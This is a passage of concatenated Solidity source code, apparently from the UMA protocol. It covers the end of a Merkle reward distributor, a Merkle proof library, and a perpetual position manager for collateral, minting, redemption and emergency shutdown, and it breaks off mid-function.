function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner {
IERC20(rewardCurrency).safeTransfer(msg.sender, amount);
emit WithdrawRewards(msg.sender, amount, rewardCurrency);
}
/****************************
* NON-ADMIN FUNCTIONS
****************************/
/**
* @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail
* if any individual claims within the batch would fail.
* @dev Optimistically tries to batch together consecutive claims for the same account and same
* reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method
* is to pass in an array of claims sorted by account and reward currency.
* @param claims array of claims to claim.
*/
function claimMulti(Claim[] memory claims) external {
uint256 batchedAmount = 0;
uint256 claimCount = claims.length;
for (uint256 i = 0; i < claimCount; i++) {
Claim memory _claim = claims[i];
_verifyAndMarkClaimed(_claim);
batchedAmount = batchedAmount.add(_claim.amount);
// If the next claim is NOT the same account or the same token (or this claim is the last one),
// then disburse the `batchedAmount` to the current claim's account for the current claim's reward token.
uint256 nextI = i + 1;
address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken);
if (
nextI == claimCount ||
// This claim is last claim.
claims[nextI].account != _claim.account ||
// Next claim account is different than current one.
address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken
// Next claim reward token is different than current one.
) {
IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount);
batchedAmount = 0;
}
}
}
/**
* @notice Claim amount of reward tokens for account, as described by Claim input object.
* @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the
* values stored in the merkle root for the `_claim`'s `windowIndex` this method
* will revert.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
*/
function claim(Claim memory _claim) public {
_verifyAndMarkClaimed(_claim);
merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount);
}
/**
* @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at
* `windowIndex`.
* @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`.
* The onus is on the Owner of this contract to submit only valid Merkle roots.
* @param windowIndex merkle root to check.
* @param accountIndex account index to check within window index.
* @return True if claim has been executed already, False otherwise.
*/
function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given
* window index.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
* @return valid True if leaf exists.
*/
function verifyClaim(Claim memory _claim) public view returns (bool valid) {
bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex));
return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf);
}
/****************************
* PRIVATE FUNCTIONS
****************************/
// Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
claimedBitMap[windowIndex][claimedWordIndex] =
claimedBitMap[windowIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
// Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root.
function _setWindow(
uint256 windowIndex,
uint256 rewardsDeposited,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) private {
Window storage window = merkleWindows[windowIndex];
window.merkleRoot = merkleRoot;
window.rewardToken = IERC20(rewardToken);
window.ipfsHash = ipfsHash;
emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender);
window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited);
}
// Verify claim is valid and mark it as completed in this contract.
function _verifyAndMarkClaimed(Claim memory _claim) private {
// Check claimed proof against merkle window at given index.
require(verifyClaim(_claim), "Incorrect merkle proof");
// Check the account has not yet claimed for this window.
require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window");
// Proof is correct and claim has not occurred yet, mark claimed complete.
_setClaimed(_claim.windowIndex, _claim.accountIndex);
emit Claimed(
msg.sender,
_claim.windowIndex,
_claim.account,
_claim.accountIndex,
_claim.amount,
address(merkleWindows[_claim.windowIndex].rewardToken)
);
}
}
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FundingRateApplier.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PerpetualPositionManager is FundingRateApplier {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// Expiry price pulled from the DVM in the case of an emergency shutdown.
FixedPoint.Unsigned public emergencyShutdownPrice;
/****************************************
* EVENTS *
****************************************/
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp);
event SettleEmergencyShutdown(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PerpetualPositionManager.
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production.
*/
constructor(
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
bytes32 _fundingRateIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
// No pending withdrawal require message removed to save bytecode.
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount
* ` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0);
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens));
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
// Note: revert reason removed to save bytecode.
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice If the contract is emergency shutdown then all token holders and sponsors can redeem their tokens or
* remaining collateral for underlying at the prevailing price defined by a DVM vote.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the resolved settlement value of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @dev Note that this function does not call the updateFundingRate modifier to update the funding rate as this
* function is only called after an emergency shutdown & there should be no funding rate updates after the shutdown.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleEmergencyShutdown()
external
isEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// Set the emergency shutdown price as resolved from the DVM. If DVM has not resolved will revert.
if (emergencyShutdownPrice.isEqual(FixedPoint.fromUnscaledUint(0))) {
emergencyShutdownPrice = _getOracleEmergencyShutdownPrice();
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral =
_getFundingRateAppliedTokenDebt(tokensToRedeem).mul(emergencyShutdownPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying with
// the funding rate applied to the outstanding token debt.
FixedPoint.Unsigned memory tokenDebtValueInCollateral =
_getFundingRateAppliedTokenDebt(positionData.tokensOutstanding).mul(emergencyShutdownPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleEmergencyShutdown(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the `settleEmergencyShutdown` function.
*/
function emergencyShutdown() external override notEmergencyShutdown() fees() nonReentrant() {
// Note: revert reason removed to save bytecode.
require(msg.sender == _getFinancialContractsAdminAddress());
emergencyShutdownTimestamp = getCurrentTime();
_requestOraclePrice(emergencyShutdownTimestamp);
emit EmergencyShutdown(msg.sender, emergencyShutdownTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory collateralAmount)
{
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PerpetualPositionManager.
* @return totalCollateral amount of all collateral within the position manager.
*/
function totalPositionCollateral()
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
external
view
nonReentrantView()
returns (FixedPoint.Unsigned memory totalCollateral)
{
return _getFundingRateAppliedTokenDebt(rawTokenDebt);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
positionData.tokensOutstanding = positionData.tokensOutstanding.sub(tokensToRemove);
require(positionData.tokensOutstanding.isGreaterThanOrEqual(minSponsorTokens));
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(positionToLiquidate.rawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
_getOracle().requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory price) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
int256 oraclePrice = _getOracle().getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOracleEmergencyShutdownPrice() internal view returns (FixedPoint.Unsigned memory) {
return _getOraclePrice(emergencyShutdownTimestamp);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
